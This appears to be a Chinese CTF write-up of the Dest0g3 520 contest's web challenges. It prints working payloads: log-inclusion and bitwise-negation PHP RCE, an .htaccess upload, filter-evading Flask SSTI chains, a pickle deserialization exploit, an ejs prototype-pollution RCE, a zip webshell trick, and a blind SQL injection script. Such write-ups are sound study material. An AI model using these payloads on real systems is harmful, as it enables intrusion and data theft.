Dest0g3 520迎新赛WEB 无java部分 wp

Dest0g3 520迎新赛

只写了web,勉勉强强拿了总榜58名,web分榜11名这个尴尬的名次,前面的师傅太强了

phpdest

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once($_GET['file']);
}

文件包含题,因为使用的是require_once(),所以不能直接读flag.php

没有phpinfo信息,session不考虑(buu平台我都不考虑条件竞争,这个题实际上有这个打法),两种临时文件包含不能用;

扫描日志文件,没有结果(字典刚好没有 ,排查了一天才发现)

走P神的裸文件包含,然而对特殊字符url转码了,不能用

看有很多人都做出来了,想着肯定是简单题,从头排查,反反复复,晚上才发现缺少的日志文件T^T

/var/log/nginx/access.log

包含日志文件getshell

EasyPHP

<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?> Try harder!

看到set_error_handler(),让程序出错就能获取flag,可以POST传值ctf

传入值会和字符串变量$fl4g进行字符串拼接,所以post传参传入数组

POST:ctf[]=a

SimpleRCE

<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

命令执行,过滤了很多,但是打眼一看,没有~,眼睛一圈扫下来,没有过滤()还有%;

取反绕过命令执行,掏出yu22x师傅的博客

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
//system(cat /flag);

funny_upload

文件上传,有前端js过滤,绕过后随便上传一个文件,掏出字典fuzz过滤情况,发现可以上传.htaccess文件,且有作用,出现了页面报错,服务器解析不能,上图片马加直接包含flag进行测试

POST / HTTP/1.1
Host: a28731fc-383f-49d3-aaaf-7f67181fb7c4.node4.buuoj.cn:81
Content-Length: 392
Cache-Control: max-age=0
Origin: http://a28731fc-383f-49d3-aaaf-7f67181fb7c4.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZX7SH3YhtkoquFXj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a28731fc-383f-49d3-aaaf-7f67181fb7c4.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pt;q=0.5
Cookie: td_cookie=143531929
Connection: close

------WebKitFormBoundaryZX7SH3YhtkoquFXj
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/png

AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64_decode/resource=/flag"
------WebKitFormBoundaryZX7SH3YhtkoquFXj
Content-Disposition: form-data; name="1"

提交
------WebKitFormBoundaryZX7SH3YhtkoquFXj--

访问图片马直接拿到flag,不用祭出蚁剑了

EasySSTI

进入后是一个登录页面

因为题目是EasySSTI所以向测试一波SSTI

字符过滤了:[_'",空格

关键字过滤了:globalsgetitemosreadpopenpop啥的

先确定基本payload(嫖网上Flask SSTI LAB攻略 | A.M.|P.M. (john-frod.github.io)的)

{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()}}

使用dict(o=a,s=a)|join()来拼接字符串

{{lipsum|attr("__globals__")|attr("__getitem__")(dict(o=a,s=a)|join())|attr(dict(po=a,pen=a)|join())(dict(who=a,ami=a)|join())|attr(dict(re=a,ad=a)|join())()}}

使用(lipsum|string|list)|attr('pop')(18)来获取_

__globals__

((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(glo=a,bals=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join()

__getitem__

((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(ge=a,titem=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join()

ls /

((lipsum|string|list)|attr(dict(po=a,p=a)|join())(19),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(27),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(9),(config|string|list)|attr(dict(po=a,p=a)|join())(279))|join()

cat /flag

((lipsum|string|list)|attr(dict(po=a,p=a)|join())(4),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(15),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(5),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(9),(config|string|list)|attr(dict(po=a,p=a)|join())(279),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(1),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(19),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(15),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(10))|join()

换成如下

{{lipsum|attr(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(glo=a,bals=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join())|attr(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(ge=a,titem=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join())(dict(o=a,s=a)|join())|attr(dict(po=a,pen=a)|join())(dict(l=a,s=a)|join())|attr(dict(re=a,ad=a)|join())()}}

命令部分由成dict(l=a,s=a)|join()替换成:ls /对应的东西

在题目环境下(config|string|list)|attr(dict(po=a,p=a)|join())(279)/

{{lipsum|attr(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(glo=a,bals=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join())|attr(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),dict(ge=a,titem=a)|join(),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(18))|join())(dict(o=a,s=a)|join())|attr(dict(po=a,pen=a)|join())(((lipsum|string|list)|attr(dict(po=a,p=a)|join())(4),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(15),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(5),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(9),(config|string|list)|attr(dict(po=a,p=a)|join())(279),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(1),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(19),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(15),(lipsum|string|list)|attr(dict(po=a,p=a)|join())(10))|join())|attr(dict(re=a,ad=a)|join())()}}

middle

python反序列化题,第一次实际接触,exp如下

class payload(object):
    def __reduce__(self):
       return (config.backdoor, (["os.environ"],))
@app.route('/test', methods=['POST', 'GET'])
def test():
    a = pickle.dumps(payload(),protocol=0)
    a = base64.b64encode(a)
    return a
    #User = restricted_loads(base64.b64decode(data))
    #return str(User)

不难,新手友好型,边查资料边测试

问题在于不能执行系统命令,查os的文档,发现有环境变量environ,尝试看看,发现有flag

POST:data=Y2NvbmZpZwpiYWNrZG9vcgpwMAooKGxwMQpWb3MuZW52aXJvbgpwMgphdHAzClJwNAou

PharPOP

题目简单易懂,上传phar,使用原生类读取目录和文件,poc如下

tree::__destruct()===>tree::__call()

tree::__call()===>apple::__get()

appli::__get()===>air::__set()

$tree1 = new tree();
$tree1->act="SplFileObject";
$air = new air();
$air->p = $tree1;
$apple = new apple();
$apple->xxx = $air;
$apple->flag = "/fflaggg";
$tree2 = new tree();
$tree2->name = $apple;s

除了链子,还有三个过滤:

绕过throw,throw会阻碍析构函数进行,通过gc垃圾回收提前触发析构函数;

绕过waf,waf过滤了很多关键字,使用gzip命令处理phar文件,压缩的妈都不认识;

绕过phar,不能说是绕过phar,应该是手撕phar,原因在于绕过throw的操作:通过数组的重复赋值;,问题在于要改文件内容,而phar是有检验和的,所以直接改phar文件内容不行

找了一上午找到一位师傅的脚本,不用手撕phar

总结 - ctf中php的phar(一) - Morouu的大狗窝 ●’◡’● (morblog.cc)

这道题提醒我以后要尝试手撕常见文件格式,提高脚本编写能力

NodeSoEasy

ejs最经典,最常见的原型链污染RCE在3.1.7被禁了,因为题目附件只给了依赖包的信息和主页与模板的代码,所以应该说的是3.1.7中的原型链污染利用,下载3.1.8版本代码进行比对,可以发现,增加的部分都是用来防御原型链污染的,所以3.1.7必然存在另一处可以使用的rce;

上网查资料加调试,发现关于nodejs的ejs和jade模板引擎的原型链污染挖掘 - 安全客,安全资讯平台 (anquanke.com)

打断点调试ejs.js637行

if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }

ok,可以污染进去,套上逃逸

{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');","compileDebug":true}}

ezip

和zip上传有关,在网上查文章,看书,试了各种可能的解法

搞了3天,一筹莫展,想着色图不好好看看有点可惜,看看色图,…

寄,还真是让看色图,图片末尾base64解密

upload.php:

<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
    if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
        echo "hacker!!";
        exit;
    }
    if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
        echo "only zip!!";
        exit;
    }
    $Myzip = new zip($_FILES['file']['name']);
    mkdir($Myzip->path);
    move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
    echo "Try to unzip your zip to /".$Myzip->path."<br>";
    if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}

zip.php:

<?php
class zip
{
    public $zip_name;
    public $path;
    public $zip_manager;

    public function __construct($zip_name){
        $this->zip_manager = new ZipArchive();
        $this->path = $this->gen_path();
        $this->zip_name = $zip_name;
    }
    public function gen_path(){
        $chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $newchars=str_split($chars);
        shuffle($newchars);
        $chars_key=array_rand($newchars,15);
        $fnstr = "";
        for($i=0;$i<15;$i++){
            $fnstr.=$newchars[$chars_key[$i]];
        }
        return md5($fnstr.time().microtime()*100000);
    }

    public function deldir($dir) {
        //先删除目录下的文件:
        $dh = opendir($dir);
        while ($file = readdir($dh)) {
            if($file != "." && $file!="..") {
                $fullpath = $dir."/".$file;
                if(!is_dir($fullpath)) {
                    unlink($fullpath);
                } else {
                    $this->deldir($fullpath);
                }
            }
        }
        closedir($dh);
    }
    function dir_list($directory)
    {
        $array = [];

        $dir = dir($directory);
        while ($file = $dir->read()) {
            if ($file !== '.' && $file !== '..') {
                $array[] = $file;
            }
        }
        return $array;
    }
    public function unzip()
    {
        $fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
        $white_list = ['jpg','png','gif','bmp'];
        $this->zip_manager->open($fullpath);
        for ($i = 0;$i < $this->zip_manager->count();$i ++) {
            if (strstr($this->zip_manager->getNameIndex($i),"../")){
                echo "you bad bad";
                return false;
            }
        }
        if(!$this->zip_manager->extractTo($this->path)){
            echo "Unzip to /".$this->path."/ failed";
            exit;
        }
        @unlink($fullpath);
        $file_list = $this->dir_list("/var/www/html/".$this->path."/");
        for($i=0;$i<sizeof($file_list);$i++){
            if(is_dir($this->path."/".$file_list[$i])){
                echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
            }
            else{
                if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
            }
        }
        return true;

    }
}

研究一会儿,最后不停翻开发手册,找到了可以逃过删除的地方

function dir_list($directory)
    {
        $array = [];

        $dir = dir($directory);
        while ($file = $dir->read()) {
            if ($file !== '.' && $file !== '..') {
                $array[] = $file;
            }
        }
        return $array;
    }

在手册中给出了read()或者说readdir()的推荐写法,用强比较来判定布尔值

另外还贴心的给出了弱比较下的问题,文件夹命名为0在弱比较下是false,写法不对会处理不到该文件夹,所以通过将木马藏在命名为0的文件夹来躲避删除

上马访问,看到根目录下的flag,权限不足不能看,试了一遍网上找的方法,都不行,靶机里少了很多命令,最后心一横直接测试有没有root权限的命令可以多flag,把可以查看文件的命令都走一圈,看看有没有谁有权限,发现nl /flag回显了flag

Really Easy SQL和easysql

Really Easy SQL

给了提示,是insert注入,黑名单如下

union,updatexml,order,by,substr,空格,and

extractvalue,;,sleep,join,alter,handler,char,+,/

like,regexp,offset,sleep,case,&,-,hex,%0,load;

提示的注入类型,让我想了好一会儿,看到网页的标题(钓鱼网站),反应过来自己误导自己了,既然是搜集数据的,后端处理肯定是insert,根据后面的和钓鱼网站,推测出是时间盲注

经过一番测试,时间盲注测试出来了

username=a'or(benchmark(5000000,md5('test')))or'&password=a&submit=

这个题的过滤并不多,没啥难度,就直接把做题时的记录搬上来了

if语句测试

a'or(if(length(database())>5,benchmark(1500000,md5('test')),1))or'
爆数据库:
目标结果语句
长度3a'or(if(length(database())>5,benchmark(1500000,md5('test')),1))or'
名称ctfa'or(if(ascii(mid(database(),1,1))>1,benchmark(1500000,md5('test')),1))or'
爆表名

select(length(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')

select(count(table_name))from(information_schema.tables)where(table_schema='ctf')

ctf的表总数: 2个

sql:

a'or(if((select(count(table_name))from(information_schema.tables)where(table_schema='ctf'))>1,benchmark(1500000,md5('test')),1))or'

两个表的名称:flaggg,user

length(group_concat(table_name)) 长度为11

ascii(mid(group_concat(table_name),1,1))

sql:

a'or(if((select(ascii(mid(group_concat(table_name),1,1)))from(information_schema.tables)where(table_schema='ctf'))>1,benchmark(1500000,md5('test')),1))or'

爆flaggg表列名

count(column_name) 只有1列

length(group_concat(column_name)) 长度为3

ascii(mid(group_concat(column_name),1,1)) cmd

select()from(information_schema.columns)where(table_schema='ctf')and(table_name='flaggg')

sql:

a'or(if((select(ascii(mid(group_concat(column_name),1,1)))from(information_schema.columns)where(table_name='flaggg'))>1,benchmark(1500000,md5('test')),1))or'

爆字段值

count(cmd) 1列

length(cmd) 45

ascii(mid(group_concat(cmd),1,1))

Dest0g3{8eb9db3c_0e53_4c11_a3ce_275adbb9f938}
sql:

a'or(if((select(ascii(mid(group_concat(cmd),1,1)))from(flaggg))>1,benchmark(1500000,md5('test')),1))or'

Dest0g3{ad438575-S6e5-4802-a8a9-791c16622083}
Dest0g3{ad438575-d6P5-4802-a8ae-791c16622083}

脚本

import requests
import time
url = 'http://2c43fc6c-2a78-439c-b63d-11b7d5aca5af.node4.buuoj.cn:81/'
payload_flag = "a'or(if((select(ascii(mid(group_concat(cmd),{},1)))from(flaggg))={},benchmark(6000000,md5('test')),1))or'"
flag = ''
for i in range(1,46):
  for j in range(40,130):
    time.sleep(0.1)
    payload = payload_flag.format(i,j)
    data = {"username": payload,"password": "a","submit":"a"}
    starttime = time.time()
    r=requests.post(url=url, data=data)
    endtime = time.time()
    #print(r.text)
    if '429' in r.text :
      time.sleep(0.5)
    t = endtime - starttime
    if t >= 3:
      print("第"+str(i)+"位为"+chr(j))
      flag += chr(j)
      break
    # else:
    #   print("第"+str(i)+"位不是"+chr(j))
    
print(flag)

跑了好多遍,比对着才把正确flag拿出来,时间盲注精度低了些,特别是这垃圾校园网还拖后腿

Easy SQL

上面的脚本可以通杀,考虑时间盲注的误差,直接多跑几遍

Dest0g3{6800b179-15c5-433a-8c1c-060da3b707dc}
  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值